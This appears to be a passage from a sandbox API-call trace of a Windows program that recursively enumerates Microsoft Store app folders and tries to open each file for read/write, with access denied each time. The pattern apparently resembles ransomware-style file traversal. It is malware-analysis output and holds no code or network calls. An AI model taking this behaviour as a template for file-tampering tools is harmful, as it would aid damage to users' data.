	[0091.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ba08
	[0091.114] wcscpy (in: _Dest=0x481ba08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe"
	[0091.114] wcscat (in: _Dest=0x481ba08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\"
	[0091.114] wcscat (in: _Dest=0x481ba08, _Source="index.html" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\index.html") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\index.html"
	[0091.114] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\index.html" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\index.html")) returned 0x20
	[0091.117] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\index.html", dwFileAttributes=0x20) returned 0
	[0091.117] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\index.html" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\index.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.117] GetLastError () returned 0x5
	[0091.117] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\index.html", dwFileAttributes=0x20) returned 0
	[0091.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0091.117] FindNextFileW (in: hFindFile=0x46a72d0, lpFindFileData=0x470f4b8 | out: lpFindFileData=0x470f4b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa820f2c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0d721ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa820f2c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0091.117] wcscmp (_String1="js", _String2=".") returned 1
	[0091.117] wcscmp (_String1="js", _String2="..") returned 1
	[0091.117] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f850
	[0091.117] wcscpy (in: _Dest=0x2d7f850, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe"
	[0091.117] wcscat (in: _Dest=0x2d7f850, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\"
	[0091.117] wcscat (in: _Dest=0x2d7f850, _Source="js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js"
	[0091.117] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61a50
	[0091.117] wcscpy (in: _Dest=0x2d61a50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js"
	[0091.117] wcscat (in: _Dest=0x2d61a50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\"
	[0091.117] wcscat (in: _Dest=0x2d61a50, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\*"
	[0091.117] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0091.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa820f2c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0d721ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa820f2c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0091.118] wcscmp (_String1=".", _String2=".") returned 0
	[0091.118] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa820f2c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0d721ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa820f2c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.118] wcscmp (_String1="..", _String2=".") returned 1
	[0091.118] wcscmp (_String1="..", _String2="..") returned 0
	[0091.118] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa820f2c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa820f2c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa820f2c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="startup.js", cAlternateFileName="")) returned 1
	[0091.118] wcscmp (_String1="startup.js", _String2=".") returned 1
	[0091.118] wcscmp (_String1="startup.js", _String2="..") returned 1
	[0091.118] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2d7a0
	[0091.118] wcscpy (in: _Dest=0x4f2d7a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js"
	[0091.118] wcscat (in: _Dest=0x4f2d7a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\"
	[0091.118] wcscat (in: _Dest=0x4f2d7a0, _Source="startup.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\startup.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\startup.js"
	[0091.118] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\startup.js" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\startup.js")) returned 0x20
	[0091.121] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\startup.js", dwFileAttributes=0x20) returned 0
	[0091.121] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\startup.js" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\startup.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.121] GetLastError () returned 0x5
	[0091.121] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\js\\startup.js", dwFileAttributes=0x20) returned 0
	[0091.121] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d7a0) returned 1
	[0091.121] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa820f2c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa820f2c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa820f2c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="startup.js", cAlternateFileName="")) returned 0
	[0091.121] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0091.121] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0091.121] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61a50) returned 1
	[0091.121] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f850) returned 1
	[0091.121] FindNextFileW (in: hFindFile=0x46a72d0, lpFindFileData=0x470f4b8 | out: lpFindFileData=0x470f4b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe09a894e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc770c60a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc770c60a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.122] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.122] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.122] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e325f8
	[0091.122] wcscpy (in: _Dest=0x4e325f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe"
	[0091.122] wcscat (in: _Dest=0x4e325f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\"
	[0091.122] wcscat (in: _Dest=0x4e325f8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.122] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d088
	[0091.122] wcscpy (in: _Dest=0x491d088, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.122] wcscat (in: _Dest=0x491d088, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.122] wcscat (in: _Dest=0x491d088, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0091.122] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d080
	[0091.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe09a894e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc770c60a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc770c60a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b168
	[0091.125] wcscmp (_String1=".", _String2=".") returned 0
	[0091.125] FindNextFileW (in: hFindFile=0x477b168, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe09a894e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc770c60a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc770c60a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.125] wcscmp (_String1="..", _String2=".") returned 1
	[0091.125] wcscmp (_String1="..", _String2="..") returned 0
	[0091.125] FindNextFileW (in: hFindFile=0x477b168, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc770c60a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc770c60a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc770c60a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 1
	[0091.125] wcscmp (_String1="Autogen", _String2=".") returned 1
	[0091.125] wcscmp (_String1="Autogen", _String2="..") returned 1
	[0091.125] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491b078
	[0091.125] wcscpy (in: _Dest=0x491b078, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.125] wcscat (in: _Dest=0x491b078, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.125] wcscat (in: _Dest=0x491b078, _Source="Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.125] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778060
	[0091.125] wcscpy (in: _Dest=0x4778060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.125] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0091.126] wcscat (in: _Dest=0x4778060, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*"
	[0091.126] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d2e8
	[0091.126] FindFirstFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*", lpFindFileData=0x502d2e8) 

Thread:
	id = 860
	os_tid = 0x1004

	[0082.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e331c0
	[0082.064] wcscpy (in: _Dest=0x4e331c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0082.064] wcscat (in: _Dest=0x4e331c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0082.064] wcscat (in: _Dest=0x4e331c0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\*"
	[0082.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470f720
	[0082.064] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\*", lpFindFileData=0x470f720 | out: lpFindFileData=0x470f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe563d29, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0e615f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x716c6041, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7310
	[0082.067] wcscmp (_String1=".", _String2=".") returned 0
	[0082.067] FindNextFileW (in: hFindFile=0x46a7310, lpFindFileData=0x470f720 | out: lpFindFileData=0x470f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe563d29, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0e615f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x716c6041, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.068] wcscmp (_String1="..", _String2=".") returned 1
	[0082.068] wcscmp (_String1="..", _String2="..") returned 0
	[0082.068] FindNextFileW (in: hFindFile=0x46a7310, lpFindFileData=0x470f720 | out: lpFindFileData=0x470f720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa95, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.068] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.068] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x47cc878
	[0082.068] wcscpy (in: _Dest=0x47cc878, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0082.068] wcscat (in: _Dest=0x47cc878, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0082.068] wcscat (in: _Dest=0x47cc878, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0091.080] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0091.087] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.087] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.087] GetLastError () returned 0x5
	[0091.087] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.087] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cc878) returned 1
	[0091.087] FindNextFileW (in: hFindFile=0x46a7310, lpFindFileData=0x470f720 | out: lpFindFileData=0x470f720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0091.088] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0091.088] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0091.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x5028320
	[0091.088] wcscpy (in: _Dest=0x5028320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0091.088] wcscat (in: _Dest=0x5028320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0091.088] wcscat (in: _Dest=0x5028320, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml"
	[0091.088] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
